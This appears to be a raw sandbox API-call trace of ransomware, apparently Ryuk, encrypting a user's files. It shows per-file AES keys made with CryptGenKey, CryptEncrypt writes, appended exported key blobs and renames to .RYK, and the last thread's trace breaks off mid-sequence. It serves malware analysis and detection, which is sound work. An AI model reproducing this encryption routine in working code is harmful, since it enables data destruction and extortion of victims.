	[0278.794] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\index.dat", dwFileAttributes=0x80) returned 1
	[0278.795] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\mshist012020010820200109\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.795] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.795] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\mshist012020010820200109\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\mshist012020010820200109\\index.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3937
	os_tid = 0x4310

	[0278.799] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\index.dat.RYK", dwFileAttributes=0x80) returned 1
	[0278.800] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\index.dat.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d0
	[0278.800] GetFileSizeEx (in: hFile=0x8d0, lpFileSize=0x8c8f678 | out: lpFileSize=0x8c8f678*=33058) returned 1
	[0278.800] GetFileSizeEx (in: hFile=0x8d0, lpFileSize=0x8c8f688 | out: lpFileSize=0x8c8f688*=33058) returned 1
	[0278.800] SetFilePointerEx (in: hFile=0x8d0, liDistanceToMove=0x8000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0278.800] ReadFile (in: hFile=0x8d0, lpBuffer=0x8c8f6d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c8f640, lpOverlapped=0x0 | out: lpBuffer=0x8c8f6d0*, lpNumberOfBytesRead=0x8c8f640*=0x19, lpOverlapped=0x0) returned 1
	[0278.802] CloseHandle (hObject=0x8d0) returned 1

Thread:
	id = 3938
	os_tid = 0x4314

	[0278.818] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\index.dat", dwFileAttributes=0x80) returned 1
	[0278.819] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\mshist012017071220170713\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c
	[0278.819] GetFileSizeEx (in: hFile=0x86c, lpFileSize=0x945f738 | out: lpFileSize=0x945f738*=32768) returned 1
	[0278.820] GetFileSizeEx (in: hFile=0x86c, lpFileSize=0x945f748 | out: lpFileSize=0x945f748*=32768) returned 1
	[0278.820] SetFilePointerEx (in: hFile=0x86c, liDistanceToMove=0x7ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0278.820] ReadFile (in: hFile=0x86c, lpBuffer=0x945f790, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x945f700, lpOverlapped=0x0 | out: lpBuffer=0x945f790*, lpNumberOfBytesRead=0x945f700*=0x19, lpOverlapped=0x0) returned 1
	[0278.831] SetFilePointer (in: hFile=0x86c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0278.831] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x945f718 | out: phKey=0x945f718*=0x3f7bd0) returned 1
	[0278.831] SetFilePointer (in: hFile=0x86c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0278.831] ReadFile (in: hFile=0x86c, lpBuffer=0x2b00000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x945f724, lpOverlapped=0x0 | out: lpBuffer=0x2b00000*, lpNumberOfBytesRead=0x945f724*=0x8000, lpOverlapped=0x0) returned 1
	[0278.838] CryptEncrypt (in: hKey=0x3f7bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x945f720*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x945f720*=0xf4250) returned 1
	[0278.838] CryptEncrypt (in: hKey=0x3f7bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b00000*, pdwDataLen=0x945f728*=0x8000, dwBufLen=0xf4250 | out: pbData=0x2b00000*, pdwDataLen=0x945f728*=0x8010) returned 1
	[0278.838] SetFilePointer (in: hFile=0x86c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0278.838] WriteFile (in: hFile=0x86c, lpBuffer=0x2b00000*, nNumberOfBytesToWrite=0x8010, lpNumberOfBytesWritten=0x945f724, lpOverlapped=0x0 | out: lpBuffer=0x2b00000*, lpNumberOfBytesWritten=0x945f724*=0x8010, lpOverlapped=0x0) returned 1
	[0278.839] WriteFile (in: hFile=0x86c, lpBuffer=0x945f750*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x945f730, lpOverlapped=0x0 | out: lpBuffer=0x945f750*, lpNumberOfBytesWritten=0x945f730*=0x6, lpOverlapped=0x0) returned 1
	[0278.839] CryptExportKey (in: hKey=0x3f7bd0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x945f740 | out: pbData=0x0*, pdwDataLen=0x945f740*=0x10c) returned 1
	[0278.839] CryptExportKey (in: hKey=0x3f7bd0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x945f7b0, pdwDataLen=0x945f740 | out: pbData=0x945f7b0*, pdwDataLen=0x945f740*=0x10c) returned 1
	[0278.839] WriteFile (in: hFile=0x86c, lpBuffer=0x945f7b0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x945f730, lpOverlapped=0x0 | out: lpBuffer=0x945f7b0*, lpNumberOfBytesWritten=0x945f730*=0x10c, lpOverlapped=0x0) returned 1
	[0278.839] CloseHandle (hObject=0x86c) returned 1
	[0278.841] CryptDestroyKey (hKey=0x3f7bd0) returned 1
	[0278.841] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\mshist012017071220170713\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\mshist012017071220170713\\index.dat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3939
	os_tid = 0x4318

	[0278.829] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db", dwFileAttributes=0x80) returned 0
	[0278.829] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\iconcache.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.830] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.830] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\iconcache.db"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\iconcache.db.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3940
	os_tid = 0x431c

	[0278.834] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms.RYK", dwFileAttributes=0x80) returned 1
	[0278.835] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\feedsstore.feedsdb-ms.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8dc
	[0278.835] GetFileSizeEx (in: hFile=0x8dc, lpFileSize=0x902fb78 | out: lpFileSize=0x902fb78*=6946) returned 1
	[0278.835] GetFileSizeEx (in: hFile=0x8dc, lpFileSize=0x902fb88 | out: lpFileSize=0x902fb88*=6946) returned 1
	[0278.835] SetFilePointerEx (in: hFile=0x8dc, liDistanceToMove=0x1a00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0278.835] ReadFile (in: hFile=0x8dc, lpBuffer=0x902fbd0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x902fb40, lpOverlapped=0x0 | out: lpBuffer=0x902fbd0*, lpNumberOfBytesRead=0x902fb40*=0x19, lpOverlapped=0x0) returned 1
	[0278.837] CloseHandle (hObject=0x8dc) returned 1

Thread:
	id = 3941
	os_tid = 0x4320

	[0279.052] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms", dwFileAttributes=0x80) returned 1
	[0279.053] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x820
	[0279.053] GetFileSizeEx (in: hFile=0x820, lpFileSize=0x8eefbb8 | out: lpFileSize=0x8eefbb8*=28672) returned 1
	[0279.053] GetFileSizeEx (in: hFile=0x820, lpFileSize=0x8eefbc8 | out: lpFileSize=0x8eefbc8*=28672) returned 1
	[0279.053] SetFilePointerEx (in: hFile=0x820, liDistanceToMove=0x6ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0279.053] ReadFile (in: hFile=0x820, lpBuffer=0x8eefc10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8eefb80, lpOverlapped=0x0 | out: lpBuffer=0x8eefc10*, lpNumberOfBytesRead=0x8eefb80*=0x19, lpOverlapped=0x0) returned 1
	[0279.056] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0279.056] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x8eefb98 | out: phKey=0x8eefb98*=0x3f7bd0) returned 1
	[0279.056] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0279.056] ReadFile (in: hFile=0x820, lpBuffer=0x3380000, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x8eefba4, lpOverlapped=0x0 | out: lpBuffer=0x3380000*, lpNumberOfBytesRead=0x8eefba4*=0x7000, lpOverlapped=0x0) returned 1
	[0279.057] CryptEncrypt (in: hKey=0x3f7bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8eefba0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8eefba0*=0xf4250) returned 1
	[0279.057] CryptEncrypt (in: hKey=0x3f7bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3380000*, pdwDataLen=0x8eefba8*=0x7000, dwBufLen=0xf4250 | out: pbData=0x3380000*, pdwDataLen=0x8eefba8*=0x7010) returned 1
	[0279.057] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0279.057] WriteFile (in: hFile=0x820, lpBuffer=0x3380000*, nNumberOfBytesToWrite=0x7010, lpNumberOfBytesWritten=0x8eefba4, lpOverlapped=0x0 | out: lpBuffer=0x3380000*, lpNumberOfBytesWritten=0x8eefba4*=0x7010, lpOverlapped=0x0) returned 1
	[0279.058] WriteFile (in: hFile=0x820, lpBuffer=0x8eefbd0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8eefbb0, lpOverlapped=0x0 | out: lpBuffer=0x8eefbd0*, lpNumberOfBytesWritten=0x8eefbb0*=0x6, lpOverlapped=0x0) returned 1
	[0279.058] CryptExportKey (in: hKey=0x3f7bd0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8eefbc0 | out: pbData=0x0*, pdwDataLen=0x8eefbc0*=0x10c) returned 1
	[0279.058] CryptExportKey (in: hKey=0x3f7bd0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x8eefc30, pdwDataLen=0x8eefbc0 | out: pbData=0x8eefc30*, pdwDataLen=0x8eefbc0*=0x10c) returned 1
	[0279.058] WriteFile (in: hFile=0x820, lpBuffer=0x8eefc30*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8eefbb0, lpOverlapped=0x0 | out: lpBuffer=0x8eefc30*, lpNumberOfBytesWritten=0x8eefbb0*=0x10c, lpOverlapped=0x0) returned 1
	[0279.059] CloseHandle (hObject=0x820) returned 1
	[0279.060] CryptDestroyKey (hKey=0x3f7bd0) returned 1
	[0279.060] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3956
	os_tid = 0x4360

	[0279.162] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms", dwFileAttributes=0x80) returned 1
	[0279.163] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x820
	[0279.163] GetFileSizeEx (in: hFile=0x820, lpFileSize=0x916fd38 | out: lpFileSize=0x916fd38*=28672) returned 1
	[0279.163] GetFileSizeEx (in: hFile=0x820, lpFileSize=0x916fd48 | out: lpFileSize=0x916fd48*=28672) returned 1
	[0279.163] SetFilePointerEx (in: hFile=0x820, liDistanceToMove=0x6ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0279.164] ReadFile (in: hFile=0x820, lpBuffer=0x916fd90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x916fd00, lpOverlapped=0x0 | out: lpBuffer=0x916fd90*, lpNumberOfBytesRead=0x916fd00*=0x19, lpOverlapped=0x0) returned 1
	[0279.166] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0279.166] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x916fd18 | out: phKey=0x916fd18*=0x3f7bd0) returned 1
	[0279.166] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0279.166] ReadFile (in: hFile=0x820, lpBuffer=0x3480000, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x916fd24, lpOverlapped=0x0 | out: lpBuffer=0x3480000*, lpNumberOfBytesRead=0x916fd24*=0x7000, lpOverlapped=0x0) returned 1
	[0279.167] CryptEncrypt (in: hKey=0x3f7bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x916fd20*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x916fd20*=0xf4250) returned 1
	[0279.167] CryptEncrypt (in: hKey=0x3f7bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3480000*, pdwDataLen=0x916fd28*=0x7000, dwBufLen=0xf4250 | out: pbData=0x3480000*, pdwDataLen=0x916fd28*=0x7010) returned 1
	[0279.167] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0279.167] WriteFile (in: hFile=0x820, lpBuffer=0x3480000*, nNumberOfBytesToWrite=0x7010, lpNumberOfBytesWritten=0x916fd24, lpOverlapped=0x0 | out: lpBuffer=0x3480000*, lpNumberOfBytesWritten=0x916fd24*=0x7010, lpOverlapped=0x0) returned 1
	[0279.168] WriteFile (in: hFile=0x820, lpBuffer=0x916fd50*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x916fd30, lpOverlapped=0x0 | out: lpBuffer=0x916fd50*, lpNumberOfBytesWritten=0x916fd30*=0x6, lpOverlapped=0x0) returned 1
	[0279.168] CryptExportKey (in: hKey=0x3f7bd0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x916fd40 | out: pbData=0x0*, pdwDataLen=0x916fd40*=0x10c) returned 1
	[0279.168] CryptExportKey (in: hKey=0x3f7bd0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x916fdb0, pdwDataLen=0x916fd40 | out: pbData=0x916fdb0*, pdwDataLen=0x916fd40*=0x10c) returned 1
	[0279.168] WriteFile (in: hFile=0x820, lpBuffer=0x916fdb0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x916fd30, lpOverlapped=0x0 | out: lpBuffer=0x916fdb0*, lpNumberOfBytesWritten=0x916fd30*=0x10c, lpOverlapped=0x0) returned 1
	[0279.169] CloseHandle (hObject=0x820) returned 1
	[0279.170] CryptDestroyKey (hKey=0x3f7bd0) returned 1
	[0279.170] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3957
	os_tid = 0x4364

	[0279.172] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms", dwFileAttributes=0x80) returned 1
	[0279.172] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x820
	[0279.173] GetFileSizeEx (in: hFile=0x820, lpFileSize=0x95bfb18 | out: lpFileSize=0x95bfb18*=28672) returned 1
	[0279.173] GetFileSizeEx (in: hFile=0x820, lpFileSize=0x95bfb28 | out: lpFileSize=0x95bfb28*=28672) returned 1
	[0279.173] SetFilePointerEx (in: hFile=0x820, liDistanceToMove=0x6ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0279.173] ReadFile (in: hFile=0x820, lpBuffer=0x95bfb70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x95bfae0, lpOverlapped=0x0 | out: lpBuffer=0x95bfb70*, lpNumberOfBytesRead=0x95bfae0*=0x19, lpOverlapped=0x0) returned 1
	[0279.176] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0279.176] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x95bfaf8 | out: phKey=0x95bfaf8*=0x3f7bd0) returned 1
	[0279.176] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0279.176] ReadFile (in: hFile=0x820, lpBuffer=0x3280000, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x95bfb04, lpOverlapped=0x0 | out: lpBuffer=0x3280000*, lpNumberOfBytesRead=0x95bfb04*=0x7000, lpOverlapped=0x0) returned 1
	[0279.177] CryptEncrypt (in: hKey=0x3f7bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x95bfb00*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x95bfb00*=0xf4250) returned 1
	[0279.177] CryptEncrypt (in: hKey=0x3f7bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3280000*, pdwDataLen=0x95bfb08*=0x7000, dwBufLen=0xf4250 | out: pbData=0x3280000*, pdwDataLen=0x95bfb08*=0x7010) returned 1
	[0279.178] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0279.178] WriteFile (in: hFile=0x820, lpBuffer=0x3280000*, nNumberOfBytesToWrite=0x7010, lpNumberOfBytesWritten=0x95bfb04, lpOverlapped=0x0 | out: lpBuffer=0x3280000*, lpNumberOfBytesWritten=0x95bfb04*=0x7010, lpOverlapped=0x0) returned 1
	[0279.179] WriteFile (in: hFile=0x820, lpBuffer=0x95bfb30*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x95bfb10, lpOverlapped=0x0 | out: lpBuffer=0x95bfb30*, lpNumberOfBytesWritten=0x95bfb10*=0x6, lpOverlapped=0x0) returned 1
